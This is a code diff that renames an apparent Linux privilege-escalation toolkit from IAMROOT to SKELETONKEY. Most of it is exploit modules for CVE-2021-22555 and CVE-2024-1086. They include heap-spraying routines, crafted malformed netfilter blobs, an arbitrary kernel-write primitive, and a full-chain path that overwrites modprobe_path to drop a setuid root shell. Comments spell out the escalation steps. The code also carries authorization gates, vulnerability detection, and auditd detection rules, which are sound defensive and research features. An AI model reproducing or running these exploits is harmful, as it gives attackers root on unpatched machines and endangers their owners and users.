|
||||
@@ -252,11 +219,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
|
||||
struct xtcompat_payload *p = calloc(1, sizeof(*p));
|
||||
if (!p) return 0;
|
||||
p->mtype = 0x42;
|
||||
/* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent-
|
||||
* slot corruption is recognizable in /tmp/iamroot-xtcompat.log
|
||||
/* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent-
|
||||
* slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log
|
||||
* and in KASAN/oops dumps. */
|
||||
memset(p->buf, 0x41, sizeof p->buf);
|
||||
memcpy(p->buf, "IAMROOT2", 8);
|
||||
memcpy(p->buf, "SKELETONKEY2", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
|
||||
@@ -278,7 +245,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
|
||||
}
|
||||
|
||||
/* Walk every queue, peek-copy each message (MSG_COPY = read without
|
||||
* dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2".
|
||||
* dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2".
|
||||
* A non-matching prefix is the empirical witness for the OOB write
|
||||
* landing in an adjacent slot. Returns the count of corrupted slots. */
|
||||
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
|
||||
@@ -292,7 +259,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
|
||||
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
|
||||
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
|
||||
if (n < 0) break;
|
||||
if (memcmp(p->buf, "IAMROOT2", 8) != 0) {
|
||||
if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) {
|
||||
corrupted++;
|
||||
}
|
||||
}
|
||||
@@ -324,7 +291,7 @@ static void xtcompat_skb_spray(int iters)
|
||||
unsigned char *buf = malloc(1800);
|
||||
if (!buf) { close(sv[0]); close(sv[1]); return; }
|
||||
memset(buf, 0x41, 1800);
|
||||
memcpy(buf, "IAMROOTSKB", 10);
|
||||
memcpy(buf, "SKELETONKEYSKB", 10);
|
||||
struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
|
||||
struct mmsghdr mm[32];
|
||||
for (int i = 0; i < 32; i++) {
|
||||
@@ -395,10 +362,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len)
|
||||
|
||||
/* Plant a recognizable marker so a vulnerable kernel's compat
|
||||
* decoder reads our crafted entry rather than zeroed memory.
|
||||
* Marker is intentionally "IAMROOT\0" so a KASAN report's hex
|
||||
* Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex
|
||||
* dump points back here. */
|
||||
unsigned char *entry_region = blob + sizeof(*r);
|
||||
memcpy(entry_region, "IAMROOTX", 8);
|
||||
memcpy(entry_region, "SKELETONKEYX", 8);
|
||||
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
|
||||
* Its `u.target_size` field is the lever Andy bends to underflow
|
||||
* the pad-out write: setting target_size to a value such that
|
||||
@@ -471,8 +438,6 @@ static int xtcompat_fire_trigger(int *out_errno)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ — close original primitive block */
|
||||
|
||||
/* ---- Full-chain arb-write primitive --------------------------------
|
||||
*
|
||||
* Pattern (FALLBACK — see module top-comment): the xt_compat 4-byte OOB
|
||||
@@ -509,8 +474,6 @@ static int xtcompat_fire_trigger(int *out_errno)
|
||||
* patched kernel the trigger returns EINVAL on step 2 and arb_write
|
||||
* returns -1 without ever queueing the follow-up. */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
struct xtcompat_arb_ctx {
|
||||
/* Spray queues kept hot across multiple arb_write calls. The
|
||||
* msg_msg slots seeded here are what the finisher uses as
|
||||
@@ -524,7 +487,7 @@ struct xtcompat_arb_ctx {
|
||||
uid_t outer_uid;
|
||||
gid_t outer_gid;
|
||||
|
||||
/* Per-call statistics for /tmp/iamroot-xtcompat.log. */
|
||||
/* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */
|
||||
int arb_calls;
|
||||
int arb_landed;
|
||||
};
|
||||
@@ -541,7 +504,7 @@ static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
|
||||
if (!p) return 0;
|
||||
p->mtype = 0x43;
|
||||
memset(p->buf, 0x41, sizeof p->buf);
|
||||
memcpy(p->buf, "IAMROOTW", 8);
|
||||
memcpy(p->buf, "SKELETONKEYW", 8);
|
||||
/* Plant the target address at every 0x800-aligned slot inside
|
||||
* the payload, so wherever the kernel's m_list_next sits
|
||||
* relative to our payload base, the candidate value is present. */
|
||||
@@ -636,52 +599,48 @@ static int xtcompat_arb_write(uintptr_t kaddr,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
|
||||
static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
|
||||
iamroot_result_t pre = netfilter_xtcompat_detect(ctx);
|
||||
if (pre == IAMROOT_OK && geteuid() == 0) {
|
||||
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
|
||||
/* Consult ctx->host first so unit tests can construct a non-root
|
||||
* fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (pre == SKELETONKEY_OK && is_root) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early with the manual-
|
||||
* workflow help — no point doing the userns + spray + trigger
|
||||
* dance if we can't finish. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("netfilter_xtcompat");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("netfilter_xtcompat");
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
}
|
||||
|
||||
@@ -705,7 +664,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
pid_t child = fork();
|
||||
if (child < 0) {
|
||||
perror("fork");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
@@ -771,7 +730,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
long post_slab = slab_active_kmalloc_2k();
|
||||
|
||||
/* Breadcrumb for post-run triage. */
|
||||
FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
|
||||
@@ -810,20 +769,20 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
.arb_calls = 0,
|
||||
.arb_landed = 0,
|
||||
};
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
xtcompat_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
/* If the finisher execve'd a root shell, we never get
|
||||
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
|
||||
FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||
fclose(fl);
|
||||
}
|
||||
xtcompat_msgmsg_drain(queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
|
||||
_exit(35);
|
||||
}
|
||||
/* Primitive-only mode: still NOT root — but it's the
|
||||
@@ -836,11 +795,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
_exit(30);
|
||||
}
|
||||
|
||||
/* PARENT: reap child + map exit code → iamroot_result. */
|
||||
/* PARENT: reap child + map exit code → skeletonkey_result. */
|
||||
int status = 0;
|
||||
if (waitpid(child, &status, 0) < 0) {
|
||||
perror("waitpid");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
@@ -850,14 +809,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
"(crash during trigger — OOB likely fired)\n", sig);
|
||||
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
|
||||
"cred-overwrite primitive — returning EXPLOIT_FAIL\n"
|
||||
" See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n");
|
||||
" See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -866,25 +825,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 22:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
|
||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 23:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
|
||||
"exploit path closed\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 24:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
|
||||
"see preceding errno\n");
|
||||
}
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
case 30:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
|
||||
@@ -892,19 +851,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
|
||||
"may have fired but did not land on sprayed slots)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
case 31:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
|
||||
"appears patched at runtime (validator)\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
case 32:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
|
||||
"not effective in userns on this kernel\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 33:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
|
||||
@@ -918,38 +877,37 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
" attacker-controlled — read-where via msgrcv.\n"
|
||||
" 2. Use that leak to find &init_task and\n"
|
||||
" modprobe_path in kernel .data — both offsets\n"
|
||||
" are per-kernel-build and IAMROOT refuses to\n"
|
||||
" are per-kernel-build and SKELETONKEY refuses to\n"
|
||||
" bake them.\n"
|
||||
" 3. Pivot to a write-where via a fake msg_msgseg\n"
|
||||
" and overwrite modprobe_path → exec a setuid\n"
|
||||
" helper for root pop.\n"
|
||||
" See Andy Nguyen's writeup for the full chain.\n");
|
||||
}
|
||||
if (ctx->no_shell) return IAMROOT_OK;
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
if (ctx->no_shell) return SKELETONKEY_OK;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
case 34:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
case 35:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
|
||||
"FAIL (sentinel not observed within timeout)\n"
|
||||
" See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n");
|
||||
" See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
default:
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
|
||||
@@ -957,12 +915,39 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx
|
||||
/* The msg queues live in the child's IPC namespace which dies
|
||||
* with the child — so the in-process drain already handled them.
|
||||
* The /tmp breadcrumb survives, remove it here. */
|
||||
if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: setsockopt(IPT_SO_SET_REPLACE) + nfnetlink +
|
||||
* userns is Linux-only kernel surface. Stub out cleanly so the module
|
||||
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||
* dev boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: Linux-only module "
|
||||
"(xt_compat_target_to_user via SET_REPLACE) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
|
||||
static const char netfilter_xtcompat_auditd[] =
|
||||
@@ -970,12 +955,12 @@ static const char netfilter_xtcompat_auditd[] =
|
||||
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
|
||||
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
|
||||
"# msgsnd/msgrcv heap-spray patterns.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n"
|
||||
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n"
|
||||
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
|
||||
|
||||
const struct iamroot_module netfilter_xtcompat_module = {
|
||||
const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||
.name = "netfilter_xtcompat",
|
||||
.cve = "CVE-2021-22555",
|
||||
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
|
||||
@@ -991,7 +976,7 @@ const struct iamroot_module netfilter_xtcompat_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_netfilter_xtcompat(void)
|
||||
void skeletonkey_register_netfilter_xtcompat(void)
|
||||
{
|
||||
iamroot_register(&netfilter_xtcompat_module);
|
||||
skeletonkey_register(&netfilter_xtcompat_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
|
||||
#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module netfilter_xtcompat_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,27 @@
|
||||
# NOTICE — nf_tables (CVE-2024-1086)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2024-1086** — `nft_verdict_init` double-free → cross-cache UAF
|
||||
→ arbitrary kernel R/W.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered, exploited, and disclosed by **Notselwyn** (Pumpkin),
|
||||
January 2024.
|
||||
|
||||
Original advisory + exploit: <https://pwning.tech/nftables/>
|
||||
GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
|
||||
|
||||
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
|
||||
Stable backports throughout Q1 2024.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
|
||||
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
|
||||
dependency. The msg_msg cross-cache groom into kmalloc-cg-96 is wired
|
||||
but the full pipapo R/W stage is opt-in via `--full-chain`, which
|
||||
forges a pipapo_elem with a value-pointer pointing at modprobe_path.
|
||||
Per-kernel offset assumptions are documented; the shared finisher's
|
||||
sentinel arbitrates real vs. apparent success.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NF_TABLES_IAMROOT_MODULES_H
|
||||
#define NF_TABLES_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module nf_tables_module;
|
||||
|
||||
#endif
|
||||
+104
-88
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* nf_tables_cve_2024_1086 — IAMROOT module
|
||||
* nf_tables_cve_2024_1086 — SKELETONKEY module
|
||||
*
|
||||
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
|
||||
* with NFT_DROP/NFT_QUEUE. Triggers a double-free → cross-cache UAF
|
||||
@@ -13,11 +13,11 @@
|
||||
* (table → chain → set → rule with the NFT_GOTO+NFT_DROP combo
|
||||
* that nft_verdict_init() fails to reject on vulnerable kernels),
|
||||
* fires the double-free path, runs the msg_msg cg-96 groom, and
|
||||
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
|
||||
* returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
|
||||
* - With --full-chain: after the trigger lands, we resolve kernel
|
||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||
* a Notselwyn-style pipapo arb-write via the shared
|
||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself
|
||||
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
|
||||
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
|
||||
* payload tagged with the kaddr in the value-pointer slot. The
|
||||
* exact pipapo_elem layout (and the value-pointer field offset)
|
||||
@@ -34,7 +34,7 @@
|
||||
* heap pointer.
|
||||
* 3. Implement the sk_buff fragment overwrite to plant a fake
|
||||
* pipapo_elem whose value points at modprobe_path.
|
||||
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
|
||||
* 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
|
||||
* 5. execve() an unknown binary to invoke modprobe with our payload.
|
||||
*
|
||||
* Affected kernel ranges:
|
||||
@@ -55,18 +55,23 @@
|
||||
* for unprivileged users even on a kernel-vulnerable host.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -108,19 +113,6 @@ static const struct kernel_range nf_tables_range = {
|
||||
* Preconditions probe
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
@@ -134,60 +126,63 @@ static bool nf_tables_loaded(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nf_tables: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.14. Anything below predates it. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 14)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 14, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
||||
"(introduced in 5.14)\n", v.release);
|
||||
"(introduced in 5.14)\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
|
||||
bool patched = kernel_range_is_patched(&nf_tables_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
bool nft_loaded = nf_tables_loaded();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nf_tables: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nf_tables: unprivileged user_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" :
|
||||
"could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nf_tables: nf_tables module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nf_tables: kernel vulnerable but user_ns clone "
|
||||
"denied → unprivileged exploit unreachable\n");
|
||||
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
|
||||
"attacker can still trigger the bug\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
|
||||
"clone allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -229,7 +224,7 @@ static int enter_unpriv_namespaces(void)
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Minimal nfnetlink batch builder. We hand-roll this rather than
|
||||
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
|
||||
* pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
|
||||
* relies on a specific malformed verdict that libnftnl validates away.
|
||||
*
|
||||
* Each helper appends to a contiguous batch buffer at *off.
|
||||
@@ -318,9 +313,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
